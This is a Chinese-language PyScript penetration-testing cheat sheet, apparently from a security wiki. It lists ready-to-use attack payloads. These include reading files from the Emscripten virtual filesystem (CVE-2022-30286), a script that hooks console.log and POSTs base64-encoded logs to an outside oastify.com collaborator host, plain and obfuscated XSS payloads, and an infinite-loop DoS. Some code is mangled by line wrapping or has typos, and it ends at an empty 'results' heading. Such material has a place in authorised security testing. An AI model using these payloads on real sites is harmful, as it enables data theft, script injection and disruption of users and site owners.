Pyscript

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PyScript 渗透测试指南

PyScript 是一个新框架，旨在将 Python 集成到 HTML 中，因此可以与 HTML 一起使用。在本备忘单中，您将找到如何将 PyScript 用于您的渗透测试目的。

从 Emscripten 虚拟内存文件系统中转储/检索文件：

CVE ID: CVE-2022-30286

代码：

<py-script>
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
= fin.read() print(out)
</py-script>

Emscripten虚拟内存文件系统的OOB数据外泄（控制台监控）

CVE ID: CVE-2022-30286

Code:

<py-script>
x = "CyberGuy" if x == "CyberGuy": with
open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read()
print(contents) print('
<script>
console.pylog = console.log
console.logs = []
console.log = function () {
console.logs.push(Array.from(arguments))
console.pylog.apply(console, arguments)
fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {
method: "POST",
headers: { "Content-Type": "text/plain;charset=utf-8" },
body: JSON.stringify({ content: btoa(console.logs) }),
})
}
</script>
')
</py-script>

跨站脚本攻击（普通）

代码：

<py-script>
print("<img src=x onerror='alert(document.domain)'>")
</py-script>

跨站脚本攻击 (Python 混淆)

代码:

<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"

print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>

跨站脚本攻击 (JavaScript 混淆)

代码:

<py-script>
prinht("
<script>
var _0x3675bf = _0x5cf5
function _0x5cf5(_0xced4e9, _0x1ae724) {
var _0x599cad = _0x599c()
return (
(_0x5cf5 = function (_0x5cf5d2, _0x6f919d) {
_0x5cf5d2 = _0x5cf5d2 - 0x94
var _0x14caa7 = _0x599cad[_0x5cf5d2]
return _0x14caa7
}),
_0x5cf5(_0xced4e9, _0x1ae724)
)
}
;(function (_0x5ad362, _0x98a567) {
var _0x459bc5 = _0x5cf5,
_0x454121 = _0x5ad362()
while (!![]) {
try {
var _0x168170 =
(-parseInt(_0x459bc5(0x9e)) / 0x1) *
(parseInt(_0x459bc5(0x95)) / 0x2) +
(parseInt(_0x459bc5(0x97)) / 0x3) *
(-parseInt(_0x459bc5(0x9c)) / 0x4) +
-parseInt(_0x459bc5(0x99)) / 0x5 +
(-parseInt(_0x459bc5(0x9f)) / 0x6) *
(parseInt(_0x459bc5(0x9d)) / 0x7) +
(-parseInt(_0x459bc5(0x9b)) / 0x8) *
(-parseInt(_0x459bc5(0x9a)) / 0x9) +
-parseInt(_0x459bc5(0x94)) / 0xa +
(parseInt(_0x459bc5(0x98)) / 0xb) *
(parseInt(_0x459bc5(0x96)) / 0xc)
if (_0x168170 === _0x98a567) break
else _0x454121["push"](_0x454121["shift"]())
} catch (_0x5baa73) {
_0x454121["push"](_0x454121["shift"]())
}
}
})(_0x599c, 0x28895),
prompt(document[_0x3675bf(0xa0)])
function _0x599c() {
var _0x34a15f = [
"15170376Sgmhnu",
"589203pPKatg",
"11BaafMZ",
"445905MAsUXq",
"432bhVZQo",
"14792bfmdlY",
"4FKyEje",
"92890jvCozd",
"36031bizdfX",
"114QrRNWp",
"domain",
"3249220MUVofX",
"18cpppdr",
]
_0x599c = function () {
return _0x34a15f
}
return _0x599c()
}
</script>
")
</py-script>

DoS攻击（无限循环）

代码：

<py-script>
while True:
print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;")
</py-script>

结果：